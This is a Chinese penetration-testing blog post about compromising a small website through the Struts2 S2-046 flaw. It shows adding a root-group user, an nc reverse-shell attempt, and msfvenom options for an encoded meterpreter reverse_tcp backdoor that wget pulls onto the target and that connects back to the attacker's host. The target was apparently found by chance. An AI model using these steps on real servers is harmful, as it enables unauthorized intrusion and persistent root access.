当Struts2遇到防火墙,你的思路够骚吗?

黑客信息网

  一、背景

  偶然碰到一个小站存在st2-046代码远程执行漏洞,心里美滋滋。

  1.jpg

  执行whoami查看自己是什么权限

  3.jpg

  已经是root了,就尝试上传一个webshell

  但是却提示上传失败,页面不存在

  上传txt显示成功

  19.jpg

  20.jpg

  经过测试,服务器装有一些防火墙之类的东西或者是安全策略,只要上传的文件里包含可执行代码就上传失败

  但是转念一想我为什么非要传webshell,传上去之后不还是要提权,弄到他的ssh权限。

  于是冷静思考了一下目前的形势:

  1 root权限

  2 可以执行非交互性命令

  3 不能上传文件

  脑海里一道闪电,蹦出来三个思路

  1 直接远程执行命令 添加一个用户 然后加入root组

  2 nc反弹shell 进行交互性命令 设置用密钥登陆

  3 用神器msf生成一个linux后门,进一步拿下ssh

  首先useradd test添加一个名为test的用户

  4.jpg

  因为不能交互 所以无法使用passwd 命令

  尝试echo “PASSWORD” | passwd –stdin USERNAME命令

  5.jpg

  命令执行完成

  然后加入root组

  6.jpg

  用id+用户名查看是否添加成功

  7.jpg

  奈斯

  然后就是高高兴兴去连接ssh

  8.jpg

  结果他一直拒绝我的密码。。。

  这是什么操作。。。

  得到了你的人得不到你的心吗。。。

  当时也不明白为什么会这样

  后来百度查了一下

  才知道这个命令有时候是有问题的21.jpg

  思路一失败

  既然问题出在加密码的命令上面,我就只要把shell反弹出来然后再使用passwd命令即可

  测试了一下目标站不支持其他脚本,也没有nc,就直接用bash转发吧

  先打开一台外网windows服务器,开启nc监听

  命令为nc.exe –vv –l –p 端口

  10.jpg

  Linux上bash转发命令如下

  9.jpg

  提示执行成功

  但是windows服务器上并没有收到任何反弹信息

  换端口换反弹方式都失败

  用脚趾头想想应该是防火墙的问题

  思路二失败。

  前两次均失败,心里很难受了

  不过没关系,我们还有神器msf

  假设本机ip为192.168.250.162监听端口为8090

  用msf生成一个linux的后门命令如下:

  (1)对于metasploit 4.2版本,使用msfpayload生成后门程序,使用msfencode对后门进行二次编码防杀。

  生成后门并使用msfencode shikata_ga_nai编码程序对后门程序再编码。

  命令:

  详解:

  使用模块 linux/x86/meterpreter/reverse_tcp 可以实现在32位linux系统上反弹TCP会话

  LHOST=192.168.250.162 反弹连接到metasploit攻击主机的IP地址

  LPORT=8090 反弹连接到metasploit攻击主机的TCP端口号

  -t elf 编码生成的文件类型

  -e x86/shikata_ga_nai 使用的编码方式

  -c 3 重复封装编码3次

  -o /root/test 输出后门文件到/root目录下,文件名test

  (2)在较新版本的metasploit中,msfpayload和msfencode已经被取消,功能合并为msfvenom

  使用msfvenom创建后门达到相同效果的命令为:

  详解:

  -a x86 32位

  –platform linux 后门程序运行的平台

  -plinux/x86/meterpreter/reverse_tcp 使用的payload模块

  -ex86/shikata_ga_nai -i 3 使用shikata编码方式,编码3次。

  -f elf 输出后门程序格式

  (在我测试的过程中如果不使用shikata编码3次生成的后门无法执行,不知道是不是防火墙的原因)

  11.jpg

  生成好了,然后就是怎么把后门传到目标服务器上的问题

  可以用ftp之类的,出于方便就直接用wget

  把后门放到网站上或者架设的hfs上

  12.jpg

  执行成功

  ls看一下是否已经下载后门

  13.jpg

  接下来就在msf上开启监听

  msfconsole进入控制台后命令:

  14.jpg

  Ok监听开启成功

  这个时候就要来运行后门

  一定要记得更改后门的权限!

  一定要记得更改后门的权限!

  一定要记得更改后门的权限!

  重要的事情说三遍!!!

  只有这样后门才有执行的权限

  命令:chmod 777 test

  23.jpg

  然后执行后门

  命令: http:///hkjs/test

  15.jpg

  可以看到已经得到了一个会话

  16.jpg

  执行whoami 显示root权限

  后面的思路就很多了

  添加一个后门用户

  或者生成一个秘钥直接连接服务器

  或者直接用msf维持后门的权限

  在这里就直接用passwd改掉咱们原来添加的test的密码

  Ok, ssh连接成功

  17.jpg

  这次的渗透测试还是可以给大家提供一个思路,在遇到st2漏洞但是有防火墙,不能上马,不能反弹shell,只能执行非交互命令的时候可以用msf生成一个后门然后进行进一步提权。

  当一种思路不行的时候要学会打开思路,多尝试,多百度。

  本次测试仅仅做为学习,漏洞已经提交给管理员,请勿用于非法用途,所产生的一切后果与作者无关。文章如果有问题,欢迎大家及时指正!

  *本文原创作者:道恩先生666

标签:

发表评论 (已有条评论)

  • 评论列表